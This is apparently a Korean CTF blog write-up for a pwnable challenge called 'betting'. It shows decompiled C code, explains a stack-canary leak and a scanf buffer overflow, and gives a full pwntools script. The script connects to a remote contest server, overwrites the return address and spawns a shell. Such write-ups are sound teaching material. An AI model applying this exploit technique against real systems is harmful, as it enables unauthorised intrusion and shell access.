전형적인 버퍼오버플로우 문제입니다.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 | int __cdecl main(int argc, const char **argv, const char **envp) {   unsigned int v3; // eax   unsigned int v4; // eax   unsigned int v6; // [rsp+4h] [rbp-6Ch]   int v7; // [rsp+8h] [rbp-68h]   unsigned int v8; // [rsp+Ch] [rbp-64h]   unsigned int v9; // [rsp+10h] [rbp-60h]   int v10; // [rsp+14h] [rbp-5Ch]   int v11; // [rsp+18h] [rbp-58h]   int v12; // [rsp+1Ch] [rbp-54h]   __int64 v13; // [rsp+20h] [rbp-50h]   __int64 v14; // [rsp+28h] [rbp-48h]   __int64 v15; // [rsp+30h] [rbp-40h]   __int64 v16; // [rsp+38h] [rbp-38h]   char v17; // [rsp+40h] [rbp-30h]   char s; // [rsp+50h] [rbp-20h]   unsigned __int64 v19; // [rsp+68h] [rbp-8h]   v19 = __readfsqword(0x28u);   v8 = 0;   v9 = 0;   v6 = 0;   v10 = 0;   v7 = 0;   setvbuf(stdin, 0LL, 2, 0LL);   setvbuf(stdout, 0LL, 2, 0LL);   setvbuf(stderr, 0LL, 2, 0LL);   memset(&s, 0, 0x14uLL);   printf("What is your name? ", 0LL);   read(0, &s, 40uLL);                           // buf(check canary)   printf("How much money would you like to start with? ", &s);   __isoc99_scanf("%d", &v7);   while ( v10 >= 0 && v7 > 1 )   {     printf("Hi, %s", &s);                       // canary leak     printf("you have $%d.\n", (unsigned int)v7);     while ( !v6 || (signed int)v6 > v7 )     {       printf("How much money do you want to bet? ");       __isoc99_scanf("%d", &v6);       if ( (signed int)v6 > v7 )         puts("Sorry, you don't have enough money to make that bet.");     }     v3 = time(0LL);     srand(v3);     v8 = rand() % 13 + 1;     v9 = rand() % 4 + 1;     v11 = v8;     v13 = rank_string(v8);     v14 = suit_string(v9);     printf("You draw a %s of %s.\n", v13, v14);     puts("Will the next card be higher or lower?");     printf("Enter \"h\" for higher or \"l\" for lower: ");     __isoc99_scanf("%s", &v17);                 // buf!!!     v4 = time(0LL);     srand(v4);     v8 = rand() % 13 + 1;     v9 = rand() % 4 + 1;     v12 = v8;     v15 = rank_string(v8);     v16 = suit_string(v9);     printf("You draw a %s of %s.\n", v15, v16);     if ( v17 == 104 && v11 > v12 || v17 == 108 && v11 < v12 )     {       v7 -= v6;       printf("LOSE!!! Too bad %s", &s);       printf("You lose $%d.\n", v6);       goto LABEL_15;     }     if ( v11 == v12 )     {       puts("I'll give you one more chance.");     }     else     {       v7 += v6;       printf("Win! Congratulations %s", &s);       printf("You win $%d!\n", v6); LABEL_15:       v6 = 0;     }   }   if ( v10 > 0 )   {     printf("You win the game %s! ", &s);   }   else   {     printf("Too bad %s", &s);     puts("You are out of money! You lose.");   }   return 0; } | cs | 
IDA로 보면 첫번째 read에서 40까지 받기 때문에 canary 첫번째 1byte(\x00) 까지 채워주고 %s를 통해 leak 할 수있습니다.
후에 high, low 를 선택하는데 이때 %s로 입력받기 때문에 buf가 가능해집니다.
helper 라는 함수에 system("/bin/sh") 명령어가 있기에 ret를 이 함수 주소로 덮고 공격하면 될 것같습니다.
[solve]
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from pwn import * #s = process("./betting") s = remote('110.10.147.29', 8282) e = ELF("./betting") s.sendlineafter("name? ", 'A'*24) s.sendlineafter("with? ", '2') s.recvuntil('A'*24 + '\n') canary = u64('\x00' + s.recv(7)) print "canary : " + hex(canary) s.sendlineafter("bet? ", '2') payload = '' payload += "A"*40 payload += p64(canary) payload += "B"*8 payload += p64(0x4008F6) s.sendlineafter("lower: ", payload) s.interactive() | cs | 
이미 ret를 덮었기 때문에 배팅을 계속 높게 해줘서 지게 만든 후 while문을 탈출하게 되면 쉘이 따집니다 XD
'CTF' 카테고리의 다른 글
| [Codegate final 2018] Shall We Dance (0) | 2018.04.06 | 
|---|---|
| [Codegate final 2018] G0Crack (0) | 2018.04.06 | 
| [Codegate 2017] Goversing (0) | 2018.03.29 | 
| [angstromctf 2017] Product Key (0) | 2018.03.18 | 
| [White Hacker League 2017] Medic (0) | 2018.03.09 |